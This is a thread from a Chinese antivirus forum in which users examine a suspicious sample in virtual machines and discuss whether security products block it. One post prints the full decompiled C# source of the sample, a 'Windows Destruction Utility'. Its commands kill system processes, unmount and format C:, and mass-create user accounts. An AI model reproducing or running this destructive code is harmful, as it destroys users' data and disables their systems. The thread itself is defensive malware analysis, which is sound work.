12
返回列表 发新帖
楼主: QVM360
收起左侧

[可疑文件] e50f64f940736b47cc45b06c5019b598e3470f900f096eb4b82da1f06d366b79

[复制链接]
ft-cai
发表于 2020-4-10 10:22:43 | 显示全部楼层
QVM360 发表于 2020-4-10 10:21
输入下unmc,然后看看卡巴会不会拦截

等一下虚拟机测试
QVM360
 楼主| 发表于 2020-4-10 10:23:14 | 显示全部楼层
ft-cai 发表于 2020-4-10 10:22
等一下虚拟机测试

输入后系统挂掉了

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
ft-cai
发表于 2020-4-10 10:24:32 | 显示全部楼层
QVM360 发表于 2020-4-10 10:23
输入后系统挂掉了

.....不敢沙箱运行....
a27573
发表于 2020-4-10 10:29:02 | 显示全部楼层
本帖最后由 a27573 于 2020-4-10 10:52 编辑
QVM360 发表于 2020-4-10 10:20
输入unmc后,C盘没了。。

解除挂载C盘
不过没有手动操作/被利用是没有破坏性的

  1. using System;
  2. using System.Diagnostics;
  3. using Microsoft.VisualBasic.CompilerServices;

  4. namespace wdutil
  5. {
  6.         // Token: 0x02000008 RID: 8
  7.         [StandardModule]
  8.         internal sealed class Module1
  9.         {
  10.                 // Token: 0x06000010 RID: 16 RVA: 0x000021CC File Offset: 0x000003CC
  11.                 [STAThread]
  12.                 public static void Main()
  13.                 {
  14.                         Console.Title = "Windows Destruction Utility";
  15.                         Console.WriteLine("Windows Destruction Utility");
  16.                         Console.WriteLine("Type "help" to see a list of commands.");
  17.                         Console.WriteLine();
  18.                         Console.WriteLine("For some commands you will need administrator permissions.");
  19.                         Console.WriteLine();
  20.                         Module1.promptp();
  21.                 }

  22.                 // Token: 0x06000011 RID: 17 RVA: 0x00002218 File Offset: 0x00000418
  23.                 public static void promptp()
  24.                 {
  25.                         Console.Write("wdutil> ");
  26.                         Module1.prompt = Console.ReadLine();
  27.                         Module1.cm();
  28.                 }

  29.                 // Token: 0x06000012 RID: 18 RVA: 0x00002238 File Offset: 0x00000438
  30.                 public static void cm()
  31.                 {
  32.                         checked
  33.                         {
  34.                                 try
  35.                                 {
  36.                                         bool flag = Operators.ConditionalCompareObjectEqual(Module1.prompt, "help", false);
  37.                                         if (flag)
  38.                                         {
  39.                                                 Console.WriteLine("klu - Kills the LogonUI process");
  40.                                                 Console.WriteLine("reboot - Emergency reboot");
  41.                                                 Console.WriteLine("shutdown - Emergency shutdown");
  42.                                                 Console.WriteLine("logoff - Emergency logoff");
  43.                                                 Console.WriteLine("svchostk - Kill all svchost processes");
  44.                                                 Console.WriteLine("unmc - Unmounts the C:\\ drive");
  45.                                                 Console.WriteLine("nu - Creates 9999 users");
  46.                                                 Console.WriteLine("fc - Formats C:");
  47.                                         }
  48.                                         else
  49.                                         {
  50.                                                 bool flag2 = Operators.ConditionalCompareObjectEqual(Module1.prompt, "klu", false);
  51.                                                 if (flag2)
  52.                                                 {
  53.                                                         Process[] processesByName = Process.GetProcessesByName("LogonUI");
  54.                                                         for (int i = 0; i < processesByName.Length; i++)
  55.                                                         {
  56.                                                                 Module1.p = processesByName[i];
  57.                                                                 Module1.p.Kill();
  58.                                                         }
  59.                                                 }
  60.                                                 else
  61.                                                 {
  62.                                                         bool flag3 = Operators.ConditionalCompareObjectEqual(Module1.prompt, "reboot", false);
  63.                                                         if (flag3)
  64.                                                         {
  65.                                                                 Module1.p.StartInfo.FileName = "shutdown";
  66.                                                                 Module1.p.StartInfo.Arguments = "-r -t 0";
  67.                                                                 Module1.p.StartInfo.UseShellExecute = false;
  68.                                                                 Module1.p.StartInfo.RedirectStandardOutput = true;
  69.                                                                 Module1.p.Start();
  70.                                                                 Console.WriteLine(Module1.p.StandardOutput.ReadToEnd());
  71.                                                                 Module1.p.WaitForExit();
  72.                                                         }
  73.                                                         else
  74.                                                         {
  75.                                                                 bool flag4 = Operators.ConditionalCompareObjectEqual(Module1.prompt, "shutdown", false);
  76.                                                                 if (flag4)
  77.                                                                 {
  78.                                                                         Module1.p.StartInfo.FileName = "shutdown";
  79.                                                                         Module1.p.StartInfo.Arguments = "-s -t 0";
  80.                                                                         Module1.p.StartInfo.UseShellExecute = false;
  81.                                                                         Module1.p.StartInfo.RedirectStandardOutput = true;
  82.                                                                         Module1.p.Start();
  83.                                                                         Console.WriteLine(Module1.p.StandardOutput.ReadToEnd());
  84.                                                                         Module1.p.WaitForExit();
  85.                                                                 }
  86.                                                                 else
  87.                                                                 {
  88.                                                                         bool flag5 = Operators.ConditionalCompareObjectEqual(Module1.prompt, "logoff", false);
  89.                                                                         if (flag5)
  90.                                                                         {
  91.                                                                                 Module1.p.StartInfo.FileName = "shutdown";
  92.                                                                                 Module1.p.StartInfo.Arguments = "-l -t 0";
  93.                                                                                 Module1.p.StartInfo.UseShellExecute = false;
  94.                                                                                 Module1.p.StartInfo.RedirectStandardOutput = true;
  95.                                                                                 Module1.p.Start();
  96.                                                                                 Console.WriteLine(Module1.p.StandardOutput.ReadToEnd());
  97.                                                                                 Module1.p.WaitForExit();
  98.                                                                         }
  99.                                                                         else
  100.                                                                         {
  101.                                                                                 bool flag6 = Operators.ConditionalCompareObjectEqual(Module1.prompt, "svchostk", false);
  102.                                                                                 if (flag6)
  103.                                                                                 {
  104.                                                                                         Process[] processesByName2 = Process.GetProcessesByName("svchost");
  105.                                                                                         for (int j = 0; j < processesByName2.Length; j++)
  106.                                                                                         {
  107.                                                                                                 Module1.p = processesByName2[j];
  108.                                                                                                 Module1.p.Kill();
  109.                                                                                         }
  110.                                                                                 }
  111.                                                                                 else
  112.                                                                                 {
  113.                                                                                         bool flag7 = Operators.ConditionalCompareObjectEqual(Module1.prompt, "unmc", false);
  114.                                                                                         if (flag7)
  115.                                                                                         {
  116.                                                                                                 Module1.p.StartInfo.FileName = "mountvol";
  117.                                                                                                 Module1.p.StartInfo.Arguments = "C: /d";
  118.                                                                                                 Module1.p.StartInfo.UseShellExecute = false;
  119.                                                                                                 Module1.p.StartInfo.RedirectStandardOutput = true;
  120.                                                                                                 Module1.p.Start();
  121.                                                                                                 Console.WriteLine(Module1.p.StandardOutput.ReadToEnd());
  122.                                                                                                 Module1.p.WaitForExit();
  123.                                                                                         }
  124.                                                                                         else
  125.                                                                                         {
  126.                                                                                                 bool flag8 = Operators.ConditionalCompareObjectEqual(Module1.prompt, "nu", false);
  127.                                                                                                 if (flag8)
  128.                                                                                                 {
  129.                                                                                                         for (;;)
  130.                                                                                                         {
  131.                                                                                                                 bool flag9 = Operators.ConditionalCompareObjectEqual(Module1.val1, 9999, false);
  132.                                                                                                                 if (flag9)
  133.                                                                                                                 {
  134.                                                                                                                         break;
  135.                                                                                                                 }
  136.                                                                                                                 Module1.p.StartInfo.FileName = "net";
  137.                                                                                                                 Module1.p.StartInfo.Arguments = "user " + Module1.val1.ToString() + " /add";
  138.                                                                                                                 Module1.p.StartInfo.UseShellExecute = false;
  139.                                                                                                                 Module1.p.StartInfo.RedirectStandardOutput = true;
  140.                                                                                                                 Module1.p.Start();
  141.                                                                                                                 Console.WriteLine(Module1.p.StandardOutput.ReadToEnd());
  142.                                                                                                                 Module1.p.WaitForExit();
  143.                                                                                                                 Module1.val1 = Operators.AddObject(Module1.val1, 1);
  144.                                                                                                         }
  145.                                                                                                 }
  146.                                                                                                 else
  147.                                                                                                 {
  148.                                                                                                         bool flag10 = Operators.ConditionalCompareObjectEqual(Module1.prompt, "fc", false);
  149.                                                                                                         if (flag10)
  150.                                                                                                         {
  151.                                                                                                                 Module1.p.StartInfo.FileName = "format";
  152.                                                                                                                 Module1.p.StartInfo.Arguments = "C:";
  153.                                                                                                                 Module1.p.StartInfo.UseShellExecute = false;
  154.                                                                                                                 Module1.p.StartInfo.RedirectStandardOutput = true;
  155.                                                                                                                 Module1.p.Start();
  156.                                                                                                                 Console.WriteLine(Module1.p.StandardOutput.ReadToEnd());
  157.                                                                                                                 Module1.p.WaitForExit();
  158.                                                                                                         }
  159.                                                                                                 }
  160.                                                                                         }
  161.                                                                                 }
  162.                                                                         }
  163.                                                                 }
  164.                                                         }
  165.                                                 }
  166.                                         }
  167.                                 }
  168.                                 catch (Exception ex)
  169.                                 {
  170.                                         Console.WriteLine("Error: " + ex.Message);
  171.                                 }
  172.                                 Module1.promptp();
  173.                         }
  174.                 }

  175.                 // Token: 0x04000008 RID: 8
  176.                 private static object prompt;

  177.                 // Token: 0x04000009 RID: 9
  178.                 private static Process p = new Process();

  179.                 // Token: 0x0400000A RID: 10
  180.                 private static object val1 = 1;
  181.         }
  182. }
复制代码

就是调用一下命令行而已。。。

@QVM360

卡饭的代码显示真是。。。

想要拦截的话得设置HIPS(火绒的系统加固也许可以试试)
ft-cai
发表于 2020-4-10 10:47:10 | 显示全部楼层
QVM360 发表于 2020-4-10 10:18
其实这个应该算作风险软件

kaspersky 文字没了

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-1 04:51 , Processed in 0.091566 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表